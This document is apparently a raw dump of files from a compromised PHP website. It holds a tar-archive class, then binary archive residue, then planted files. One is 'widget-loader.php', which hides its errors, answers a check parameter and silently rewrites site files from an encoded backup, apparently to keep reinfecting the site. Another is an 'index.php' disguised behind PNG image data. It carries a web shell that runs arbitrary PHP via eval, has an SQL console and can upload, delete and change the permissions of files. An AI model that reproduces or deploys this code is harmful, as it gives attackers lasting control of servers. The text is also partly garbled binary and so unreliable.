		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK       S]R!( 
   
                  widget-loader.php.tarnu [        PK       S]Z: @  @             E
  index.php.tarnu [        PK       S])cJf  Jf              J index.php.php.tar.gznu [        PK       S]k++R  R               widget-loader.php.php.tar.gznu [        PK       S]&79 9 	             index.phpnu [        PK                                                                                                                                                                                                                                                                                                                                                                      widget-loader.php.tar                                                                               0000644                 00000005000 15243251040 0010560 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      index.php.tar                                                                                       0000644                 00000240000 15243251040 0007141 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243251040 0017352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o